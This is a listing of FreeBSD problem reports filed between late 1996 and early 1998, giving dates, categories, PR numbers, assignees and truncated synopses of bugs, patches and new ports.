[1996/12/24] kern/2273 dufault support for POSIX.4 / POSIX.1a RT-schedul o [1996/12/25] conf/2284 Termcap ibm3163 entry has arrow keys wron o [1996/12/26] bin/2291 race condition in /etc/master.passwd lock s [1996/12/27] kern/2298 Support for DSR/DCD swapping on serial po a [1996/12/27] misc/2302 markm new crypt() including SHS and an extendab o [1996/12/29] bin/2315 peter tail segfaults on NFS permission denied o [1996/12/30] kern/2327 `Green' saver for pcvt o [1997/01/01] docs/2353 doc Changes to FAQ o [1997/01/06] bin/2382 curses.h / -lcurses incompatible with C++ o [1997/01/06] bin/2383 Inconsistent tputs(3) prototypes in curse o [1997/01/06] bin/2387 virtual hosting patches for inetd o [1997/01/07] kern/2393 filesystems not unmounted following shutd o [1997/01/07] bin/2410 pppd(8): failing PAP doesn't force line d o [1997/01/09] kern/2429 Driver for AIMS Lab RadioTrack radio card o [1997/01/10] bin/2442 davidn setusershell()/endusershell() missing o [1997/01/11] bin/2448 semctl() not portable -- freebsd requires o [1997/01/12] kern/2462 sos screen saver dosn't capture key strokes o [1997/01/12] bin/2468 more is slow o [1997/01/14] bin/2491 chat won't report is the report string co o [1997/01/14] kern/2492 AIMS Lab RadioTrack driver for FreeBSD 2. o [1997/01/14] kern/2494 constant page faults in kernel mode o [1997/01/15] bin/2499 fetch ftp://bla bla doesn't bail in disk o [1997/01/16] bin/2508 kerberos does not support multihomed host o [1997/01/16] i386/2514 jkh BootEasy binary is OLD in in FBSD install o [1997/01/17] bin/2518 /usr/bin/tar is out of date o [1997/01/21] bin/2547 fetch command fail to get file o [1997/01/21] bin/2556 Patch for calendar.c o [1997/01/23] i386/2565 Error using target "links" in /usr/src/sy o [1997/01/24] bin/2572 Build 2.2 on a 2.1.6 system without repla o [1997/01/26] misc/2596 dd refuses to respond to SIGkill o [1997/01/26] i386/2598 ep0 in EISA mode hangs if ep0-device (ISA o [1997/01/28] bin/2603 dufault Added POSIX.4/POSIX.1b constants in unist o [1997/01/28] bin/2604 dufault Added POSIX.4/POSIX.1b shm_open()/shm_unl o [1997/01/29] misc/2617 Utility submission - upsmon - UPS monitor o [1997/01/30] docs/2623 ipfirewall(4) man page is way out of date o [1997/01/31] bin/2630 xargs does excessive and inconsistent arg o [1997/02/02] gnu/2637 tar dumped core with -g option. a [1997/02/02] bin/2641 wpaul login_access.c doesn't work with NIS by d o [1997/02/04] bin/2660 When selecting BSD to boot from system ha o [1997/02/05] bin/2668 modification suggested for rarpd o [1997/02/05] bin/2672 Problem with telnetd o [1997/02/07] kern/2686 struct igmpmsg in s o [1997/02/10] bin/2703 jmg vipw doesn't allow you to edit master.pas o [1997/02/10] kern/2704 Occasional failure to detect wdc1 on boot o [1997/02/11] conf/2709 FBSD 2.1.6 X-Server installation setup ut o [1997/02/11] kern/2715 MSDOS-FS 1024/2048 byte/sector media supp o [1997/02/11] kern/2716 od.c/sd.c non 512 byte/sector support imp o [1997/02/13] i386/2729 "make tags" in sys/kern produces barely u o [1997/02/14] bin/2734 jkh pkg_* uses relative paths to executables o [1997/02/14] bin/2735 jkh Add signature support (both MD5 and PGP) o [1997/02/14] bin/2737 yppasswd fails to change password on a su o [1997/02/15] misc/2745 fenner PR querry web form doesn't sort correctly o [1997/02/20] docs/2780 Description of Linux emulation is out of o [1997/02/23] kern/2806 new kernel tags script o [1997/02/26] conf/2822 ftp install specifying URL confusing o [1997/02/27] gnu/2827 after make world genclass is not installe o [1997/03/02] docs/2850 init(8) man page does not document secure o [1997/03/02] bin/2851 script(1) sets argv[0] of the started she o [1997/03/03] kern/2857 DE500 board exhibits capture effect o [1997/03/03] bin/2859 /usr/bin/quota seems to choke on long gro o [1997/03/03] kern/2865 peter NFS client hangs on umount, ls, df when N o [1997/03/05] kern/2886 fenner mbuf leak in multicast code o [1997/03/06] docs/2897 steve send-pr categories should be explained so o [1997/03/06] bin/2898 fenner arp -a -n buglet o [1997/03/09] i386/2924 sos syscons X keyboard gets stuck in capsmode o [1997/03/10] bin/2934 sh(1) has problems with $ENV o [1997/03/10] bin/2938 Add -b, -l, and -f options to du(1) o [1997/03/11] ports/2949 asami bsd.port.mk needs something like FETCH_EN o [1997/03/11] misc/2955 pkg_add failed on xemacs via sysintall f [1997/03/11] ports/2956 ports New Port: xgospel-1.10d in ftp.freebsd.or a [1997/03/13] bin/2977 After enabling moused and vidcontrol and o [1997/03/14] ports/2988 joerg vga font is not built o [1997/03/15] ports/2993 hoek qmail-port-take2-proff.tar.gz in incoming o [1997/03/15] kern/3001 soundblaster8 card does not work correctl o [1997/03/17] ports/3012 obrien qmailanalog port in incoming o [1997/03/18] conf/3023 By default users have no write permission o [1997/03/18] misc/3024 make reinstall in /usr/src requires writa o [1997/03/18] bin/3025 mv to / trailed dirs prints odd error mes o [1997/03/22] kern/3061 route does not accept -genmask o [1997/03/29] bin/3139 qcamcontrol has a bug where I/O errors ar o [1997/03/29] misc/3140 display message is broken on boot.flp o [1997/03/31] gnu/3157 Patches to gas and gdb to support MMX ext o [1997/04/01] ports/3169 ports nn port broken o [1997/04/03] bin/3190 RISCom N2 card driver problem? o [1997/04/06] bin/3211 ctm uses mktemp()> o [1997/04/06] bin/3212 the pkg_* tools use mktemp() o [1997/04/07] bin/3221 rpc.rusersd : can't communicate with SunO o [1997/04/07] misc/3225 uucpd.c should normalize host names as lo a [1997/04/08] bin/3233 wosch adduser(8) doesn't add users to the wheel o [1997/04/08] misc/3237 SCRIPTS addition to bsd.prog.mk o [1997/04/09] bin/3242 incorrect prototype for initgroups o [1997/04/09] bin/3245 variable substitution "a=${a:=}" in /bin/ o [1997/04/10] bin/3251 xsysinfo stops refreshing and wastes CPU o [1997/04/10] kern/3253 scsiconf.c: make ZIP disks use optical dr s [1997/04/13] conf/3272 imp $@ is deprecated I believe, so use ${.TAR o [1997/04/14] kern/3281 errors when "rm -r"-ing in a mounted ext2 o [1997/04/14] kern/3282 ext2fs causes fs-unmount at shutdown/rebo o [1997/04/14] bin/3284 symorder(1): -t option doesn´t work at al o [1997/04/14] bin/3285 date option for pom(6) (phase of the moon o [1997/04/14] bin/3286 missing error checking in mount_mfs(8) ak o [1997/04/14] kern/3287 missing symbols in /usr/src/sys/i386/i386 o [1997/04/14] bin/3289 login(1) does not check /etc/skey.access o [1997/04/15] kern/3299 /dev/console hangs o [1997/04/17] bin/3314 /etc/daily did not run on April 6, 1997 o [1997/04/17] ports/3318 ports New port: jigsaw (Java-based HTTP server) o [1997/04/18] ports/3322 markm setlocale problem in lang/perl5 o [1997/04/25] ports/3383 ports kaffe core dumps if LD_LIBRARY_PATH not s o [1997/04/25] bin/3386 kernel 'config' wrapper 'doconfig' ala Di o [1997/04/27] bin/3399 mv of symbolic link can move directory in o [1997/04/27] docs/3400 MAXMEM uses maths in LINT o [1997/04/29] bin/3416 ibcs emulation problems o [1997/04/29] bin/3418 pkg_create doesn't always create gzip'ed o [1997/05/01] ports/3455 jmz mtools-3.6.tgz could have a better mtools o [1997/05/02] kern/3475 gdb(ptrace?) cause create/modify times on o [1997/05/03] misc/3476 dt Please add support for .cpp suffix to sta o [1997/05/05] i386/3504 New features (and manpage) for netboot o [1997/05/05] bin/3506 more did not show iso-8859-n characters o [1997/05/05] bin/3508 FreeBSD 2.2.1 do not view SCSI disk at sw o [1997/05/06] docs/3522 Man pages close(2) misses fcntl lock info o [1997/05/08] kern/3546 ktrace works even if no read permission o [1997/05/08] gnu/3552 the -L option of tar does not work proper o [1997/05/09] bin/3556 Bug with -i option in /usr/bin/lpr o [1997/05/09] bin/3558 make reinstall collapses on install-info s [1997/05/09] kern/3571 Mounted ext2 prevents umount of filesyste o [1997/05/11] conf/3577 eBones and OBJLINK=yes fails to build o [1997/05/12] kern/3584 cleanup TCP_REASS macro in tcp_input.c o [1997/05/13] conf/3590 doc FAQ gives bad reccomendation re: xdm o [1997/05/16] bin/3608 Telnet in linemode will break apart long o [1997/05/17] kern/3611 Internal CPU cache on CyrixiInstead DX2 d o [1997/05/18] gnu/3616 permissions of /usr/libexec/uucp/uuxqt no o [1997/05/19] docs/3636 No mention is made in relevant manpages a o [1997/05/20] bin/3638 /bin/w can't handle long /dev/{tty,cua}xx o [1997/05/20] bin/3639 ac doesn't know about FreeBSD's pty names o [1997/05/20] docs/3645 torstenb TCP_wrappers package doesn't mention wher s [1997/05/21] bin/3648 roberto [PATCH] find(1) extension for file flags o [1997/05/21] ports/3657 ports Port of NCSA HyperNews submitted as p5-hy s [1997/05/22] kern/3667 [PATCH] make vn LKM'able. s [1997/05/30] docs/3720 doc Addition for supported Hardware o [1997/05/31] ports/3729 scrappy pgsql dies when initiated o [1997/05/31] kern/3731 Addition of a PCI Bridge o [1997/06/01] kern/3739 pause key not disabled; weird stuff when o [1997/06/01] conf/3751 Improvements to /etc/rc{,.network,.pccard o [1997/06/02] bin/3762 dufault Bogus return values from rtprio(1) o [1997/06/02] docs/3764 systat(1) -vmstat description seems to be o [1997/06/04] bin/3778 ypbind -S domainname,server1,... does not o [1997/06/07] bin/3805 single process tftpd o [1997/06/09] docs/3819 davidn man (5) login.conf specifies passwordtime o [1997/06/09] bin/3826 KerberosIV sometimes hangs rcp o [1997/06/10] kern/3836 Cannot remove HUGE directory o [1997/06/10] bin/3837 dufault new feature for rtprio o [1997/06/12] kern/3853 netboot/ns8390.c breaks NS datasheet o [1997/06/12] i386/3856 Improvement to autodetection logic o [1997/06/13] bin/3859 Setting the $0 variable in perl dosnt do o [1997/06/14] bin/3866 rcs2log fails with eastern timezones o [1997/06/15] kern/3879 peter Can't export mounted ext2fs via NFS o [1997/06/16] conf/3886 peter install does not build sendmail host stat o [1997/06/17] ports/3892 itojun new port: www/webxref (cross-reference ge o [1997/06/18] kern/3901 Multicast for Intel 10/100 Ethernet Card o [1997/06/19] misc/3912 ctags(1) cannot trace some macro correctl o [1997/06/23] kern/3938 peter Problem about mmap() over NFS o [1997/06/23] ports/3939 ports new port: latex2html_icon_server o [1997/06/24] kern/3944 if_le doesnt receive ether multicast pack o [1997/06/25] kern/3948 nonworking t/tcp server side a [1997/06/25] kern/3953 kern-config: options PANIC_REBOOT_WAIT_TI o [1997/06/26] bin/3957 Makefile dependency error in amd o [1997/06/26] ports/3958 obrien a2ps fails if used according to man o [1997/06/26] i386/3962 print disk internal cache size during pro o [1997/06/27] kern/3968 Hardware probes die on Peak SBCs. o [1997/06/29] ports/3983 fenner New port: psf toolkit o [1997/07/02] ports/4014 ports package/port installation obeys roots uma o [1997/07/07] kern/4051 pppd connect 'chat ...' broken s [1997/07/07] kern/4052 VJ compression drops packets with IP+TCP o [1997/07/08] misc/4063 2.2.2R Installation fails if Jaz drive sp o [1997/07/13] ports/4083 ache netscape wrapper doesn't hand off args co o [1997/07/18] bin/4116 davidn Kerberized login as .root fails to o [1997/07/19] bin/4120 Partition sysid prevents extended DOS par o [1997/07/20] ports/4127 ports netscape-3.01: get rid of bogus error mes o [1997/07/21] misc/4138 /etc/rc and sudo : chg to rm -rf /var/run o [1997/07/23] kern/4153 New tcp initial send sequence number code s [1997/07/23] bin/4154 wish /bin/sleep handled fractions of a se s [1997/07/24] bin/4157 [PATCH] netstat atalk output should print o [1997/07/24] bin/4163 ftp core dumps after hitting control-C s [1997/07/26] bin/4172 suggest reconnection option added to fetc s [1997/07/28] kern/4184 [PATCH] minor nits in sys/netatalk a [1997/07/30] ports/4192 kuriyama New port: Amulet o [1997/07/31] conf/4201 jkh Installing only X-User does not install c s [1997/07/31] bin/4204 [PATCH] ac printed wrong report about tty o [1997/08/03] kern/4221 Kernel mode pppd doesen't update wtmp on o [1997/08/04] conf/4229 Ethernet interface unreachable on bootup o [1997/08/06] ports/4232 scrappy Boot-time start of postgressql postmaster o [1997/08/06] bin/4238 chpass only occasionally works in conjunc o [1997/08/07] kern/4243 file locking doesn't work for pipe o [1997/08/07] bin/4247 modification to /etc/security for FreeBSD o [1997/08/08] misc/4249 wpaul ypchsh doesn't care about changing a user a [1997/08/09] kern/4255 SMP kernel freezes on machines with >2 CP a [1997/08/09] kern/4257 itojun scsi RESERVATION CONFLICT support needed f [1997/08/10] ports/4264 ports mftp get a Segmentation fault o [1997/08/12] ports/4281 ports Compress pcl graphics files - this is an o [1997/08/12] misc/4285 SDL RISCom/N2 (ISA) a [1997/08/13] gnu/4290 ache man wrong viewed koi8-r manpages and neqn o [1997/08/13] kern/4297 dufault SIGEV_NONE and SIGEV_SIGNAL go in signal. o [1997/08/13] i386/4300 msmith The initial timeout on open("/dev/lpt0".. o [1997/08/14] ports/4304 ports Recommendation re. Ports Collection o [1997/08/22] ports/4356 erich sudo shouldn't block signals in tgetpass( o [1997/08/23] conf/4363 kernel build depend on make obj o [1997/08/24] bin/4369 dump can calculate wrong estimate times w o [1997/08/26] ports/4391 ports New port: VPCE o [1997/08/26] misc/4395 if exists(secure) in /usr/src/Makefile is o [1997/08/28] ports/4412 ports New port: YaTeX (in print and japanese) o [1997/08/29] kern/4413 No way to unmount a floppy that goes bad o [1997/08/29] misc/4414 be.iso.kbd errors in mapping o [1997/08/29] bin/4419 man can display the same man page twice o [1997/08/29] bin/4420 find -exedir doesn't chdir for first entr o [1997/08/30] docs/4439 davidn man pages wrong regarding login.conf o [1997/09/03] bin/4459 bde No prototype for moncontrol(3) and monsta o [1997/09/04] misc/4468 dlopen is not available from static execu o [1997/09/04] docs/4472 manpage for /usr/bin/printf is not comple o [1997/09/07] bin/4484 peter sendmail is barfing o [1997/09/13] kern/4528 processes hang if the mount_portal proces a [1997/09/14] i386/4538 sos byteswapped ATAPI id strings o [1997/09/14] bin/4545 f77 will only call `cc', no com-line opti f [1997/09/15] i386/4547 asc.c and pcaudio.c should use selrecord o [1997/09/16] bin/4553 man fails to open manpage if ./man exists o [1997/09/16] misc/4556 make can't build executable from single F o [1997/09/17] ports/4565 torstenb News port: ircII-current (ircII-2.9a8/col o [1997/09/18] conf/4572 /etc/rc.network loads ipfirewall lkm rega o [1997/09/21] kern/4597 Patch to pass NPX status word in signal c o [1997/09/21] kern/4601 Contrib: userconfig patch to edit SCSI co o [1997/09/22] ports/4608 obrien The packing list for the mutt port is inc o [1997/09/25] bin/4629 calendar doesn't print all dates sometime o [1997/09/25] ports/4631 ports New port: ncurses-1.9.9g a [1997/09/28] ports/4643 kuriyama new port - japanese-english dictionary o [1997/09/28] misc/4646 Can't fixit with an NFS-mounted CD. o [1997/09/29] conf/4654 Need to do post-ifconfig commands o [1997/10/02] kern/4680 lkm version of vn.c o [1997/10/03] kern/4685 Some SCSI retry messages formatted differ o [1997/10/04] bin/4688 peter sys/utsname.h SYS_NMLN 32 too small o [1997/10/05] bin/4695 pstat error o [1997/10/05] bin/4696 ping hangs on certain unresolvable hosts o [1997/10/05] bin/4697 make doesn't handle dependencies with for o [1997/10/05] docs/4698 doc Handbook's script for making repair flopp o [1997/10/07] misc/4723 /etc/rc complains during boot when sudo w o [1997/10/09] bin/4732 ac command works incorrect with old wtmp o [1997/10/12] gnu/4748 cc -Wformat too sensitive a [1997/10/15] ports/4770 ports New port: Xitami HTTP Server o [1997/10/15] gnu/4771 diff to correct misleading total bytes in a [1997/10/19] ports/4808 andreas Broken password.c in backend/libpq for Fr o [1997/10/22] bin/4828 ypxfr makes false assumption about RPC ca o [1997/10/22] bin/4829 ftpd does not check user's gid for groups o [1997/10/23] docs/4833 Manual page missing for pccardc o [1997/10/23] kern/4837 bad error return from rmdir() with msdos o [1997/10/23] ports/4839 ports New port - spin - Verification system for o [1997/10/24] kern/4845 Boot complains about disk slices in FAT p o [1997/10/24] kern/4847 pccard stuff fails after running Win95 wi o [1997/10/25] kern/4856 netatalk cannot register own host o [1997/10/26] bin/4858 Missing :np: in local.9600 entry in getty a [1997/10/28] ports/4878 ports Apache w/FrontPage Module Port o [1997/10/28] bin/4882 uudecode can't handle whitespace in filen o [1997/10/29] ports/4889 ports new port for ntimelord-1.0 o [1997/10/30] bin/4899 Telnet is not transparent even with -8E o [1997/11/01] bin/4915 peter NFS mounts to linux machine can hang syst o [1997/11/02] bin/4923 vi leaves the screen in standout mode o [1997/11/03] ports/4928 asami no 'update' target in /usr/ports/Makefile o [1997/11/04] ports/4933 ports New port: cgihtml library o [1997/11/04] ports/4935 ports audio/nas port fails build + fix f [1997/11/04] ports/4937 mph A looks-nice audio level meter port is no o [1997/11/05] bin/4947 ps(1) output is not parsable and -Ortprio o [1997/11/07] bin/4966 boot.flp file is too big to image on to f o [1997/11/07] ports/4967 ports I have ported Carl DeClerck's mserver-0.2 o [1997/11/07] bin/4969 cdcontrol plays incorrect audio tracks in o [1997/11/07] ports/4974 ports New port: YODL, Yet Oneother Document Lan o [1997/11/08] bin/4975 quotaon while server very busy causes loc o [1997/11/08] ports/4980 ports NEW PORT: netscape3-us (Netscape Nav with o [1997/11/09] ports/4985 ports NEW PORT: www/htmlpp htmlpp-3.9, a WWW au o [1997/11/09] ports/4986 ports NEW PORT: comms/atp - ATP 1.50, a BBS QWK o [1997/11/09] kern/4992 SCSI disk scheduling disabled in 2.2.5 o [1997/11/10] kern/4997 DDB_UNATTENDED doesn't always work o [1997/11/10] misc/4999 Entering '?' at first boot prompt in inst o [1997/11/11] kern/5009 ibcs2 emulation o [1997/11/11] kern/5011 rndcontrol -s 8 causes kernel panic o [1997/11/11] ports/5013 erich Update xmorph to current version o [1997/11/11] docs/5016 make -j4 fails in share/doc/usd/13.viref o [1997/11/13] bin/5031 lpr does not remove original file if -s i o [1997/11/13] ports/5034 ports (tcsh) blocked write on named pipe sticks o [1997/11/14] kern/5038 FreeBSD can't read MS Joliet CDs. o [1997/11/14] gnu/5039 libdialog fails to resore terminal o [1997/11/14] kern/5040 Support for "SCSI-0" devices o [1997/11/14] ports/5045 ports freebsd.ftp.markers for xearth is out of o [1997/11/14] bin/5047 ipfw(8) IP address resolving problem if o o [1997/11/14] kern/5048 Calling shutdown(fd,1) multiple times wil o [1997/11/15] bin/5052 peter upgrade BIND o [1997/11/15] kern/5059 peter mountd, nfsd, etc. fail when lp0 defined o [1997/11/15] kern/5060 ahasty Kernel doesn't compile with mss o [1997/11/15] misc/5064 A dos2bsd conversion utility in C. o [1997/11/17] docs/5070 doc new FAQ entries o [1997/11/17] bin/5072 /usr/bin/fetch parses a URL incorrectly o [1997/11/17] bin/5073 'host -t mx' coredumps o [1997/11/18] misc/5081 sysinstall glitches o [1997/11/18] misc/5082 Permit upgrade of multi-disk system, or d o [1997/11/19] bin/5098 running out of swap space causes junk poi o [1997/11/20] ports/5104 ports New port: sis-1.2pl1 o [1997/11/20] kern/5108 pmap_release panics with 'freeing held pa o [1997/11/20] bin/5109 patch to ftpd, new option to limit number o [1997/11/20] kern/5110 kernel crash & core in pmap_testbit durin a [1997/11/23] ports/5131 ports New math port: SuperLU o [1997/11/23] bin/5134 cdcontrol will eject a mounted CDROM o [1997/11/25] misc/5147 Submission of a shell script to help -CUR o [1997/11/26] misc/5153 jkh release file checksums in wrong file o [1997/11/26] ports/5158 ports thot editor port doesn't install template o [1997/11/28] bin/5173 restore ought to deal with root setable f o [1997/11/29] ports/5175 ports NEW PORT: news/xmitBin, a binary files au o [1997/11/30] i386/5182 A patch support high speed serial boards. o [1997/12/02] bin/5196 ps forces all IW'd processes into Is due o [1997/12/03] ports/5200 ports new port-package for pgpmoose o [1997/12/03] ports/5201 ports new port-package for fidogate o [1997/12/03] ports/5202 ports new port-package for pathalias o [1997/12/03] conf/5213 ahasty My SB AWE64 isn't being recognized. f [1997/12/05] kern/5231 Mounted MS-DOS floppy disk writes unrelia o [1997/12/06] misc/5239 ata + atapi & /stand/sysinstall & dos o [1997/12/06] ports/5240 ports Incorrect path in pkfonts (fix) o [1997/12/07] ports/5245 ports new port, bugsx game o [1997/12/07] docs/5247 doc Boot FreeBSD from Linux LILO o [1997/12/08] bin/5253 catgets(3) and catclose(3) don't guard ag o [1997/12/09] bin/5263 sh bug (with example) o [1997/12/11] ports/5273 ports Port of o2c-1.16 o [1997/12/11] kern/5274 mt comp 0/1 does not work, with fix o [1997/12/11] kern/5275 Added volume (barcode) support to tape ch o [1997/12/13] bin/5284 pkg_create uses an unstandard tar o [1997/12/13] docs/5287 Bad tftpd man page o [1997/12/13] docs/5288 syslog.conf man page doesn't mention LOG_ o [1997/12/14] conf/5292 master.passwd -- /nonexistent vs. /sbin/n o [1997/12/14] bin/5293 DES dist (req'd by PPP) defaults to kerbe a [1997/12/14] ports/5295 ports New Math port: umfpack s [1997/12/14] bin/5296 slattach fails creating pidfile with ioct f [1997/12/15] ports/5302 ache webcopy port doesnt work? o [1997/12/15] ports/5309 ports New port: sls-1.00 [category misc] o [1997/12/15] ports/5312 ports New math port xwpl a [1997/12/18] docs/5340 doc ps manpage needs updated. o [1997/12/19] ports/5342 ports New port ja-netscape-3.04(japanese/netsca a [1997/12/19] docs/5346 doc Discrepancy between dump(8) man page and o [1997/12/22] kern/5362 peter mount incorrectly reports / as an NFS exp o [1997/12/26] ports/5380 ports wb uses ghostscript 4 o [1997/12/28] ports/5393 ports DOOMSRC port & package o [1997/12/30] ports/5397 ports upload of new port (fly) f [1997/12/30] i386/5398 silo overflows running o [1997/12/30] docs/5399 doc Missing detail of - or -- flags to sh(1) o [1997/12/31] bin/5400 brian lqr timeout in ijppp only works if you ha o [1998/01/02] bin/5410 pkg_info options s [1998/01/03] bin/5419 [PATCH] timed rejects valid networks with o [1998/01/08] kern/5429 Ethernet collision during file transfers s [1998/01/08] kern/5435 [PATCH] if_fe.c for old Gateway Communica s [1998/01/08] docs/5443 [PATCH] Man page bpf(4), buggy example pr s [1998/01/08] bin/5444 [PATCH] ypserv uses wrong dns lookup orde o [1998/01/08] ports/5446 se KDE port does not install using make in / s [1998/01/08] bin/5451 roberto [PATCH] halt/reboot does not execute /etc o [1998/01/08] ports/5463 ports No spell check in pico editor because /us o [1998/01/09] ports/5472 erich xmmix-1.2 prot won't compile - "SOUND_VER o [1998/01/10] ports/5475 ports abacus sentry o [1998/01/11] bin/5483 Login(1) clears utmp entry s [1998/01/15] docs/5487 doc Adding documentation for scsi(8) usage wi o [1998/01/15] kern/5502 nfsd process usage doesn't get accounted o [1998/01/15] ports/5504 ports New port sidplay (category audio) o [1998/01/15] ports/5505 ports MS-Windouws emulator. It can use Japanese o [1998/01/15] kern/5508 SCSI Message sd0: COMMAND FAILED (4 28) @ o [1998/01/15] ports/5509 ports submit new port xruskb-1.5.1 s [1998/01/16] kern/5510 sos [PATCH] Incomplete ATAPI diagnostic at bo o [1998/01/18] kern/5517 Recursive NULLFS mount causes ufs_ihashge o [1998/01/19] misc/5525 bde gid and uid in struct pwd are ints, when s [1998/01/20] misc/5531 [SUBMISSION] new library function abs2rel s [1998/01/20] kern/5532 [PATCH] Dropped packet counts are inaccur o [1998/01/21] bin/5537 vi dumps core with dodgy exrc file o [1998/01/21] misc/5539 ftp problems with ftp.freebsd.org ? "Tran o [1998/01/21] bin/5541 ppp -alias (2.2.5-STABLE) has troubles wi o [1998/01/22] docs/5545 doc http://www.freebsd.org/handbook/handbook3 o [1998/01/22] bin/5549 Kernel Problem o [1998/01/23] bin/5557 brian /usr/sbin/ppp no longer works with SecurI o [1998/01/24] i386/5559 PC-Card joystick ports were not supported o [1998/01/25] ports/5566 ports New port: wmx-4 (category x11) o [1998/01/25] bin/5567 trying to mount a joliet filesystem cdrom o [1998/01/26] bin/5569 Problems with 'moused'. o [1998/01/26] ports/5570 ports new port, rise 0.3.3 o [1998/01/26] kern/5577 bde Unnecessary disk I/O and noatime ffs fixe a [1998/01/28] bin/5591 Trouble with LD_PRELOAD environment varia o [1998/01/28] bin/5596 killall's diagnostics bogus o [1998/01/29] kern/5599 pt(N) driver no longer working o [1998/01/30] ports/5607 ports NEW PORT: timidity-luigi [category audio] o [1998/01/30] ports/5608 jfitz Ports change-request: Afterstep I18N o [1998/01/31] bin/5609 lpd cannot send long files to HP's JetDir o [1998/02/01] bin/5619 /etc/rc doesn't clean /var/run properly o [1998/02/02] ports/5626 ports 'ldap' port eats all available CPU time o [1998/02/02] kern/5627 Tertiary/Quaternary IDE Ctlrs: A few kern o [1998/02/02] docs/5628 Rpcgen.1 in RELEENG_2_2_980114 has some T o [1998/02/03] ports/5633 ports Submission of new port in 'lang' category a [1998/02/03] ports/5638 ports mail/bulk_mailer port update o [1998/02/04] bin/5650 fetch(1) manpage out of date WRT FTP URLs o [1998/02/04] bin/5651 fenner fetch(1) doesn't CD properly on FTPs o [1998/02/04] ports/5653 ports New port of ICI language o [1998/02/05] misc/5659 2.2.5 Install doesn't copy kernel a [1998/02/05] ports/5660 ports New port type1inst o [1998/02/05] misc/5662 sysinstall generates short dev names for o [1998/02/06] bin/5666 ifconfig fails to add alias a [1998/02/06] ports/5667 ports I have ported the VICE 0.13.0 Commodore e o [1998/02/06] kern/5672 Crash from scsi aborted command 'Overlapp o [1998/02/07] ports/5675 ports New port in category devel: DOC++ o [1998/02/07] docs/5676 commenting in ftphosts is not documented o [1998/02/09] kern/5689 sysctl vm.vmmeter - bogus and unsupported o [1998/02/09] docs/5692 context diff for pw(8) man page revision o [1998/02/10] ports/5706 ports New port: ja-dvi2dvi-1.0 (japanese/dvi2dv o [1998/02/10] bin/5711 bin/cat code cleanup o [1998/02/10] bin/5712 /bin/chio code cleaup and option added o [1998/02/10] bin/5717 pw -D -g "" returns error o [1998/02/10] bin/5718 pkg_delete refuses to run as non-root o [1998/02/11] bin/5721 "more" coredumps when sent two signals o [1998/02/12] bin/5730 config doesn't specify which options are o [1998/02/14] bin/5745 [PATCH] Add /usr/local/share/mk to defaul o [1998/02/14] bin/5746 bootparamd will not netboot sun 3 compute o [1998/02/14] bin/5747 ld.so error message o [1998/02/15] bin/5758 sys/resources.h doesn't include sys/time. o [1998/02/17] kern/5768 Shutdown aborts syncing, when sync isn't o [1998/02/17] ports/5771 ports New port: Stuttgart Neural Network Simula s [1998/02/17] misc/5772 peter nfsstat does not work o [1998/02/17] ports/5776 ports New compression port: lzo o [1998/02/18] i386/5779 BOUNCE_BUFFERS option in LINT needs modif o [1998/02/18] i386/5784 ibcs2 emulation not handling ioctl(..FION a [1998/02/18] misc/5786 definition of speed_t in termios.h is not o [1998/02/18] kern/5787 Failure of unmounting asyncronous file sy o [1998/02/19] ports/5788 ports pcemu harddisk-access fixes o [1998/02/19] kern/5789 wcd0 requires ATAPI_STATIC o [1998/02/19] kern/5795 Panic: "bremfree: removing a buffer when o [1998/02/20] kern/5800 incorporate -current pppd driver into -st o [1998/02/20] misc/5803 "tab" function from "ee" not compatible w o [1998/02/21] ports/5808 ports Added support for JIS encoded PostScript o [1998/02/21] ports/5811 ports netatalk ioctl(SIOCADDMULTI) failure o [1998/02/21] misc/5813 strsignal() missing a [1998/02/22] ports/5814 ports New package XShodou o [1998/02/22] ports/5821 ports Port of Swish-E, a Web site indexer o [1998/02/25] gnu/5841 installmost or install (world) of tmac fa o [1998/02/25] bin/5847 Makeworld fails if CXXFLAGS is set. o [1998/02/25] docs/5848 [PATCH] Update web.mk to handle SGML file o [1998/02/25] docs/5851 Mention /etc/hosts.lpd et. al. in Handboo o [1998/02/25] misc/5855 /etc/services is out of date with IANA o [1998/02/26] bin/5857 non-functional lpr/lpr o [1998/02/26] ports/5859 ports xxgdb port doesn't recognize the -k optio o [1998/02/26] kern/5863 Kernel support for sorted SHUTDOWN & SHUT o [1998/02/27] ports/5868 jfitz MSQL isn't PREFIX clean and PLIST wrong o [1998/02/28] ports/5878 ports New port: ja-platex209-1.0 (japanese/plat o [1998/03/01] bin/5880 df -t does not support devfs o [1998/03/01] ports/5881 ports new ports: jp-vfxdvik-20a (dvi viewer for o [1998/03/01] ports/5882 ports new ports: xdvik-20a (dvi previewer for X o [1998/03/01] ports/5884 ports New port: icqjava-0.981a (net/icqjava) o [1998/03/01] ports/5885 ports New port: dc20ctrl-0.4 (graphics/dc20ctrl o [1998/03/02] bin/5899 VIDCONTROL VGA_80x50 sets 80x50 but uses o [1998/03/02] bin/5901 new version of `fmt' o [1998/03/03] bin/5912 kinit exits if no user name specified o [1998/03/04] ports/5920 andreas lyx's ``configure'' disables the use of m f [1998/03/05] bin/5925 brian ppp compiled to use des o [1998/03/06] kern/5931 dma errors in syslog with GUS-max o [1998/03/06] i386/5932 perfmon kernel code should check for non- o [1998/03/07] conf/5936 Add hostname to C shell prompt o [1998/03/07] ports/5937 ports rxvt's built from ports directory don't s o [1998/03/08] bin/5944 cvs doesn't work correct. o [1998/03/08] ports/5946 ports New port biology/molmol a [1998/03/08] ports/5952 ports wwwoffle: read WWW pages offline o [1998/03/10] kern/5964 peter nfsd send interface selection seems broke o [1998/03/10] bin/5966 vi's spanish message catalog does not use o [1998/03/10] kern/5967 upg from 2.1.7.1/2.2.1 to 2.2.5-stable (a o [1998/03/10] ports/5972 ports x11/fvwm95 requiring gsm, and rplay is a o [1998/03/11] misc/5977 termcap lacks entries for Linux console o [1998/03/11] ports/5981 ports cbb port broken, installs with control ch o [1998/03/11] gnu/5982 no error exit code from tar on child fail o [1998/03/11] ports/5985 hoek new port submission (qmail MTA) o [1998/03/11] docs/5986 Zic.8 in FreeBSD 2.2-980309-SNAP uses und o [1998/03/12] gnu/5992 cvs y2k o [1998/03/13] bin/5996 more(1) '-#' broken (obsolete) and h)elp o [1998/03/13] bin/6000 kadmin ank uses bad default expiration of o [1998/03/14] docs/6003 Two problems in atc(6) man page o [1998/03/14] ports/6011 ports new port request o [1998/03/15] bin/6015 indent(1) breaks source with backslash ne o [1998/03/15] ports/6017 ports new port: yacl o [1998/03/15] ports/6018 ports new port: ml-3.3 a [1998/03/15] ports/6020 ports new port: Xfstt-0.9.7 o [1998/03/15] ports/6027 max New Port: tgif2tex o [1998/03/15] ports/6028 ports Upgrade Ports: kinput2 o 